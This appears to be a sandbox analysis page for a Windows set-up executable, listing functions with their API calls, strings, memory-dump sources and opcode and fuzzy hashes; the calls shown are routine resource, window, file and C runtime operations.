String ID: %ls$'%ls' property does not have a value$Data at the root level is invalid$Root element have to be 'CXTPMarkupUIElement' type$Root element is missing$The '%ls' start tag does not match the end tag of '%ls'$The property '%ls' does not exist in XML namespace$The tag '%ls' does not exist in XML namespace$There are multiple root elements$Unexpected end of file has occurred. The following elements are not closed: '%ls'$Unexpected end tag$Unexpected error$xmlns
API String ID: 0-4276898212
Opcode ID: 56d78f39f9ca12a58ebf8f944b715a26e4057858a35b2a520c7eb3b01d2a0e6e
Instruction ID: 9de38332aa8c75c755548bf92434ac7cea266b22cace7c9499e945e11d2c1ba9
Opcode Fuzzy Hash: 56d78f39f9ca12a58ebf8f944b715a26e4057858a35b2a520c7eb3b01d2a0e6e
Instruction Fuzzy Hash: 4702D871A00209ABDF16EFA4C891BBEB7B9AF58300F15416DE605EB381EB349D05C795

Function 0036A09D Relevance: 16.6, APIs: 11, Instructions: 139COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0036A0A4
FindResourceW.KERNEL32(?,?,00000005,00000024,00295CF9,?,?,?), ref: 0036A0D7
LoadResource.KERNEL32(?,00000000), ref: 0036A0DF

Part of subcall function 0036496B: UnhookWindowsHookEx.USER32(?), ref: 0036499B

LockResource.KERNEL32(?,00000024,00295CF9,?,?,?), ref: 0036A0F0
GetDesktopWindow.USER32 ref: 0036A123
IsWindowEnabled.USER32(?), ref: 0036A131
EnableWindow.USER32(?,00000000), ref: 0036A140

Part of subcall function 00367DE3: IsWindowEnabled.USER32(?), ref: 00367DEC

Part of subcall function 00367DFE: EnableWindow.USER32(?,?), ref: 00367E0F

EnableWindow.USER32(?,00000001), ref: 0036A225
GetActiveWindow.USER32 ref: 0036A230
SetActiveWindow.USER32(?,?,00000024,00295CF9,?,?,?), ref: 0036A23E
FreeResource.KERNEL32(?,?,00000024,00295CF9,?,?,?), ref: 0036A25A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Window$Resource$Enable$ActiveEnabled$DesktopFindFreeH_prolog3_catchHookLoadLockUnhookWindows
String ID:
API String ID: 964565984-0
Opcode ID: 2a12c5e8b28ce14d0a43b2fae14185a509dd1fd1cb0fd7c9734bd536ad6c3848
Instruction ID: 9e79f1c82c27c0840c10f66f6ea6b26aa7b7a4e119e74503585889ea1d0bd723
Opcode Fuzzy Hash: 2a12c5e8b28ce14d0a43b2fae14185a509dd1fd1cb0fd7c9734bd536ad6c3848
Instruction Fuzzy Hash: 1951D430E00B05DFCF22AFA4C8496AEBBB5BF45701F15853AE102B62A5CB798D41CF56

Function 00374078 Relevance: 12.1, APIs: 8, Instructions: 126filestringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00374082
GetFullPathNameW.KERNEL32(00000000,00000104,00000000,?,00000268,00374309,?,00000000,?,00000000,00000104,00000000,5EBD7D5F,?,?), ref: 003740C0

Part of subcall function 0036A957: __CxxThrowException@8.LIBCMT ref: 0036A96D

PathIsUNCW.SHLWAPI(?,00000000,?,?,?), ref: 00374130
GetVolumeInformationW.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00374157
CharUpperW.USER32(00000000), ref: 0037418A
FindFirstFileW.KERNEL32(?,?), ref: 003741A6
FindClose.KERNEL32(00000000), ref: 003741B2
lstrlenW.KERNEL32(?), ref: 003741D0

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: FindPath$CharCloseException@8FileFirstFullH_prolog3_InformationNameThrowUpperVolumelstrlen
String ID:
API String ID: 3687868058-0
Opcode ID: c5f235aef250a2139d1b9e2c495ad2612533f21f70002f1fab536dead2179abf
Instruction ID: 34f08081546182d2e440fcd636fe731175cfe7f8be81c91bb543d440f6842b7b
Opcode Fuzzy Hash: c5f235aef250a2139d1b9e2c495ad2612533f21f70002f1fab536dead2179abf
Instruction Fuzzy Hash: C541C3719052199BDF36BB60CC49BBEB77CAF10310F5082A9F81D950A1DB39AE95CF11

Function 00298550 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,00298619,5EBD7D5F,?,Pl)u,5EBD7D5F,?,75296C50,?,?,5EBD7D5F,00000000,00000000), ref: 00298563
LoadLibraryW.KERNEL32(?,?,5EBD7D5F,00000000,00000000), ref: 00298574
GetProcAddress.KERNEL32(00000000,ImageList_AddMasked), ref: 0029858E

Strings

Pl)u, xrefs: 0029859A
ImageList_AddMasked, xrefs: 00298588

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: ImageList_AddMasked$Pl)u
API String ID: 310444273-2347304785
Opcode ID: 2c871ba70fbea4dd6b0794b5df0cca612d07c3565e3a144a4dbc0d6577800450
Instruction ID: 3e14dbb9eb727d1fd968b87a3dba69be90aed5aee623d5ebaf35a50aed002ea4
Opcode Fuzzy Hash: 2c871ba70fbea4dd6b0794b5df0cca612d07c3565e3a144a4dbc0d6577800450
Instruction Fuzzy Hash: D5F0DAB5502B12DFD720DF64C948A07BBF8AF19725B05C82EE5AAC3610DB75E854CB11

Function 002DA760 Relevance: 7.6, APIs: 5, Instructions: 91timeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(00000000,?,00000000,?,?,00000000,?,002DABCA,?,?,?,?), ref: 002DA791
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,002DABCA), ref: 002DA7BF
GetLocalTime.KERNEL32(?,?,?,00000000,?,002DABCA,?,?,?,?), ref: 002DA7EA
SystemTimeToFileTime.KERNEL32(?,?,?,?,00000000,?,002DABCA,?,?,?,?), ref: 002DA7FA
FileTimeToDosDateTime.KERNEL32(?,?,?), ref: 002DA80F

Part of subcall function 002DA350: GetFileType.KERNEL32(00000000,00000000,?,?,00000000), ref: 002DA35A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: FileTime$Type$DateLocalPointerSystem
String ID:
API String ID: 60630809-0
Opcode ID: e66328cd92598bf60f8ee43a38cac4d972748f7022464ef6a596f49384ef4ff3
Instruction ID: 8526830aa75e3fca82def3f151164ab50d7c7786b9726124169bc451488da12f
Opcode Fuzzy Hash: e66328cd92598bf60f8ee43a38cac4d972748f7022464ef6a596f49384ef4ff3
Instruction Fuzzy Hash: DA3152B15047459FC324CF6AC88086BBBF9FB88314B404E2EF99A82B50D735E459CF22

Function 00323370 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 585COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00323472
_memset.LIBCMT ref: 0032348C

Part of subcall function 0032F730: __aulldiv.LIBCMT ref: 0032F74A
Part of subcall function 0032F730: __aulldiv.LIBCMT ref: 0032F784
Part of subcall function 0032F730: __aullrem.LIBCMT ref: 0032F7F7

Strings

R, xrefs: 00323925

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: __aulldiv_memset$__aullrem
String ID: R
API String ID: 639516297-1466425173
Opcode ID: f375142e4bee3362c4fd6cef98dd183d04f17974bb57573d07af71abd33e6ca9
Instruction ID: ab7fed276454f46f99ee5536fa97d9d105c89f815a916379f5387881df43ac02
Opcode Fuzzy Hash: f375142e4bee3362c4fd6cef98dd183d04f17974bb57573d07af71abd33e6ca9
Instruction Fuzzy Hash: 2A52D570D04228CBDB29CF94D895BEEF7B1FF84304F2081A9E5096B295D775AA85CF90

Function 003812A6 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0038B5C8
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0038B5DD
UnhandledExceptionFilter.KERNEL32(005038B8), ref: 0038B5E8
GetCurrentProcess.KERNEL32(C0000409), ref: 0038B604
TerminateProcess.KERNEL32(00000000), ref: 0038B60B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 03ae0feed817b3cfeaed170e19422076b4582a6c42cd918a7e95ee289aa0dca5
Instruction ID: 5abb3af4305b2066a714fb63be44da8623f56df6cdca892d48bd4f484464b400
Opcode Fuzzy Hash: 03ae0feed817b3cfeaed170e19422076b4582a6c42cd918a7e95ee289aa0dca5
Instruction Fuzzy Hash: 572103B8881300DFD769DF65EC486463BA6FB08720F50617AF408D7B60E7B45686CF89

Function 00324370 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 477COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0032446B
_memset.LIBCMT ref: 00324485

Part of subcall function 0032F730: __aulldiv.LIBCMT ref: 0032F74A
Part of subcall function 0032F730: __aulldiv.LIBCMT ref: 0032F784
Part of subcall function 0032F730: __aullrem.LIBCMT ref: 0032F7F7

Strings

R, xrefs: 00324778

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: __aulldiv_memset$__aullrem
String ID: R
API String ID: 639516297-1466425173
Opcode ID: 51dc52d3cffe8ce32370bba216314b40f0e8413226122666d10f9a8463d8a08f
Instruction ID: df79b1242c37e583359748204695df1ac48baac45b3cbd89e61dc0fde15e037a
Opcode Fuzzy Hash: 51dc52d3cffe8ce32370bba216314b40f0e8413226122666d10f9a8463d8a08f
Instruction Fuzzy Hash: 8F32D3B4D00228CFDB29CF54D895BEEB7B1BF48304F2081A9E4196B295D775AE85CF90

Function 002ECA70 Relevance: 6.2, APIs: 4, Instructions: 229windowcomCOMMON

Download Yara Rule

APIs

Part of subcall function 00367CF1: IsWindow.USER32(?), ref: 00367D05

GetWindowRect.USER32(?,?), ref: 002ECB0D
CoCreateInstance.OLE32(005055C8,00000000,00000017,0053D1F0,?,00000005,00000000,?), ref: 002ECB44
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 002ECBC2
SendMessageW.USER32(?,00000402,00000064,00000000), ref: 002ECD05

Part of subcall function 00369A27: EndDialog.USER32(?,?), ref: 00369A46

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSendWindow$CreateDialogInstanceRect
String ID:
API String ID: 4093106794-0
Opcode ID: d08c9a267dcaf05621b0cf2ac67fa3e82e512bfdfa9bf215c52d8b3e4e241f59
Instruction ID: 1f6c34b9987acd212c0aaf0b26623ea68a606ad90be16472e08ea647c48d94f3
Opcode Fuzzy Hash: d08c9a267dcaf05621b0cf2ac67fa3e82e512bfdfa9bf215c52d8b3e4e241f59
Instruction Fuzzy Hash: 93818BB02147419FD315DB68C882F5AB7E9BFC9714F208A2DF1598B3A1DB70E906CB52

Function 0040F3B0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 245COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040F65D

Strings

Row has too many bytes to allocate in memory., xrefs: 0040F67F
VUUU, xrefs: 0040F52B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset
String ID: Row has too many bytes to allocate in memory.$VUUU
API String ID: 2102423945-195992462
Opcode ID: dc59aa43df3b1a26ed7c80617f670a7acf2c3c7674ee225f9eae591546f95f63
Instruction ID: bb42ef63e74eb7673dc3957e1a94401d630cbd8c4ecf0f6def273f5106a3fc84
Opcode Fuzzy Hash: dc59aa43df3b1a26ed7c80617f670a7acf2c3c7674ee225f9eae591546f95f63
Instruction Fuzzy Hash: C791E1B1904B045BD3388F38DC517ABBBE1AB84304F54493FE4ABA77C2D63CA9498759

Function 004042B0 Relevance: 5.0, APIs: 3, Instructions: 489COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00404587
_memset.LIBCMT ref: 004047F2

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 3e5e6e7738ee457696cc400e329219bc248541bcc17692de33bac443141edd12
Instruction ID: 88492ef3fa21e8dd6c3a6ac8e98bd487e2535eeb723426a7077573d01ea8e541
Opcode Fuzzy Hash: 3e5e6e7738ee457696cc400e329219bc248541bcc17692de33bac443141edd12
Instruction Fuzzy Hash: 3B12FFB1608702DBC300DF25D88469BBBF0FFC9345F114D6EE9D9922A0E7389559CB86

Function 002F7030 Relevance: 4.1, Strings: 3, Instructions: 314COMMON

Download Yara Rule

Strings

\\x2e, xrefs: 002F70C1
[^/\\x2A\\x3F:"<>|]*, xrefs: 002F7216
$)|(*, xrefs: 002F71AD

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: String_base::_Xlenstd::_$_memcpy_s
String ID: $)|(*$[^/\\x2A\\x3F:"<>|]*$\\x2e
API String ID: 709706234-2133692132
Opcode ID: 58b9cf4f1ef7f73e88382e5a47d1e179565d9513e51cd27434cbf0c1a167719f
Instruction ID: a02a4677ab19e4ec5edc21d2a7b74aa956d1f863cecfac22f280866b5898e8e5
Opcode Fuzzy Hash: 58b9cf4f1ef7f73e88382e5a47d1e179565d9513e51cd27434cbf0c1a167719f
Instruction Fuzzy Hash: E8C19E71A14209ABDB04EFA8CC81BEEF7B5BF48354F14422DF515AB281DB74AE15CB90

Function 002BA050 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 262COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 002BA0C0

Part of subcall function 003879F3: RaiseException.KERNEL32(?,?,?,?), ref: 00387A35

Part of subcall function 002BAD90: std::exception::exception.LIBCMT ref: 002BADB1
Part of subcall function 002BAD90: __CxxThrowException@8.LIBCMT ref: 002BADC8

Strings

vector<T> too long, xrefs: 002BA075

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
